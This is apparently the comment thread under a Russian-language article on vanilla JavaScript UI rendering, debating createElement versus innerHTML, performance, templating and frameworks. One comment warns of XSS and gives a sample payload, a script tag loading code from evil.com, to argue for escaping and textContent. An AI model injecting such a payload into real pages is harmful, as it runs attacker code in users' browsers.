Comments 42
const li = document.createElement('li');
const card = document.createElement('div');
card.classList.add('card');
li.appendChild(card);
const cardContent = document.createElement('div');
cardContent.classList.add('card-content');
card.appendChild(cardContent);
const content = document.createElement('div');
content.classList.add('content');
cardContent.appendChild(content);
const name = document.createElement('div');
name.classList.add('name');
name.textContent = hero.name;
cardContent.appendChild(name);
const description = document.createElement('div');
description.classList.add('description');
description.textContent = hero.description;
cardContent.appendChild(description);
ul.appendChild(li);
innerHTML ведь намного эстетичнее и нагляднее
При каждой записи, браузер парсит заново все содержимое данного элемента, особенно мне нравиться записи такого рода:
ul.innerHTML += '<li> ... </li>';
Также огромным минусом является потеря всех ссылок и ивентов на элементах:
div.innerHTML = '<div class="content"></div>';
var content = div.querySelector('.content');
div.innerHTML += '<div class="content2"></div>';
console.log(content.parentNode); // null
Ну и к тому же пример автора хороший тем, что уже сразу есть все ссылки, хотя прочесть и понять данный код, очень трудно…
ul.innerHTML += '… ';
Ну, простите, это проблема криворукого программиста, а не innerHTML. Понятно же, что для innerHTML нужно сперва подготовить строку, а потом присвоить её всю целиком.
Я как был мелким, делал юзерскрипт для ВК (еще старого), долго не мог плнять почему сайдбар переставал работать когда я добавлял свою ссылку)
Через innrHTML +=
присвоение innerHTML — самый быстрый (производительный) способ вставить большой фрагмент в документ. Уж движок знает, как быстро распарсить HTML. Портянка с дясятком DOM-операций не может быть производительней ОДНОЙ DOM-операции.
var el = document.getElementById('el');
console.time('time');
var html = '';
for (var i = 0; i != 1000000; i++) {
html += '<div></div>';
}
el.innerHTML = html;
console.timeEnd('time'); // time: 934.566162109375ms
el.innerHTML = '';
console.time('time');
for (var i = 0; i != 1000000; i++) {
var div = document.createElement('div');
el.appendChild(div);
}
console.timeEnd('time'); // time: 564.466796875ms
усложнив структуру DOM, все будет еще печальней, а если еще и при этом взять во внимание что нужны будут ссылки, то innerHTML покажет себя куда как не в лучшую сторону.
P.S. заметьте, в первом случае, с innerHTML, выполняется лишь одна DOM операция, а во втором, аж целых миллион раз, так почему же она быстрее?
Это можно было оформить более структурировано, но, судя по всему, автор сознательно не стал этого делать.
ul.insertAdjacentHTML('beforeEnd', `
<li>
<div class="card">
<div class="card-content">
<div class="content">
<div class="name">
${ hero.name }
</div>
<div class="description">
${ hero.description }
</div>
</div>
</div>
</div>
</li>`
);
Тут надо быть осторожным с hero.name и hero.description, т.к. они могут вызвать XSS проблемы, если hero.description например <script src="evil.com/do_bad_stuff.js"></script>
.
Кстати, плюсом шаблонных строк являются "теговые шаблоны", которые позволяют эскейпить строку, но не всю, а только вставленные переменные
Вот: https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/
Почему нет? Работает достаточно быстро. Правда таким голым совсем кодом только если прям совсем одну кнопку инлайн нужно добавить. Если чуть сложнее — можно обернуть из серии
create_element('li', { className: 'card' }, [ createElement('div', {}, [create_text_node('text')])]);
Вынести create_element в отдельную библиотеку, позволить ее расширять. Разве что синтаксис получился многословный, но раз мы используем typescript — мы уже используем препроцессинг, поэтому можно сделать DSL чтобы оно выглядело как обычный html и компилировалось в такой код. Oh wait…
При использовании innerHTML надо быть осторожным с динамическими данными типа hero.name и hero.description, т.к. если они не закодированы, то могут вызвать XSS. В этом плане textContent безопаснее.
Ванильный js это круто, но на просторах github можно найти много чего интересного.
Очень много микро пародий react вроде choo.js или есть просто jsx -> dom https://github.com/proteriax/jsx-dom
Особенности его набора прекрасно помогают избегать багов, и я пользуюсь его возможностью транспилирования в любой формат JavaScript.
На этой фразе я сломался.
чтобы доделывать работу вместо уволенного программистаА нафига его брали тогда? :) Что бы уволить? А когда брали, вот интересно — куда смотрели?
Или вы и правда хотите сказать, а оно получается так, что бы так называемому руководству всегда было «комфортно» и «приятно», то для этого и появились фреймворки? :)))))
И сами же программисты их и написали ога? Ну что бы у руководства появились «комфорт» и «приятность» ага?
Слушайте, вы точно не сумасшедший? :))))
Когда это приложение хоть чуть-чуть разрастется, поддержка таких рендеров превратится в ад. Аналогично, когда сам шаблон чуть подрастет в функционале и для изменений одной циферки будет перерисовываться все страница. Затем вы решите этого избежать и ванильный JS превратиться в ванильный-самопальный шаблонизатор, который будет заимствовать идеи из взрослых библиотек и ванильность куда-то улетучится.
Но если ради примера — почему бы и нет.
При том, что простые инструменты шаблонизации — это в общем-то тривиальная надстройка над document.createElement/appendChild, которую вы в любом случае (криво) переизобретете в очередной миллионный раз, если вздумаете написать хоть сколько-нибудь большой код.
Импорт HTML обсуждается годами, но, как видно из материалов сайта «Can I Use», даже не все современные браузеры поддерживают эту возможность
Это предложение содержит искаженную информацию. Стандарт уже завернули обратно, и никем он не обсуждается. Современные браузеры и не собираются его поддерживать, вот позиция Mozilla, например: https://hacks.mozilla.org/2014/12/mozilla-and-web-components/
В качестве замены нам обещают html modules но прогресс с ними пока не особый.
Вопрос. Зачем?
Недавно пришлось переписать одно приложение на ваниле (ES5), т.к. оно должно было работать на странном клиентском смарт-тв с допотопным браузерным движком и целым рядом прочих ограничений. Сам удивился насколько это оказалось просто и быстро. Ясно, что для масштабируемости подобных решений все равно понадобятся дополнительные телодвижения, но писать свои микрофреймворки для таких случаев это интересно, как минимум. А примеры в статье — ужасны.
Спасибо за статью. Ловлю некоторый диссонанс после прочтения. В прологе рассказывается о ванильном JS и CSS. В статье используется уже TypeScript. Придерживаясь такой политики, можно взять и SvelteJS, на выходе тоже получаем максимально приближенный ванильный JS код.
Сам JSX никаких элементов и обработчиков событий не привяжет. JSX это просто специальный синтаксис для вызова функций фреймворка
<div className="test"/>
// превращается в
React.createElement('div', {className: 'test'})
Чтобы это все работало, нужен React или любая другая библиотека с совместимой сигнатурой.
Ванильный JavaScript и HTML. Никаких фреймворков. Никаких библиотек. Никаких проблем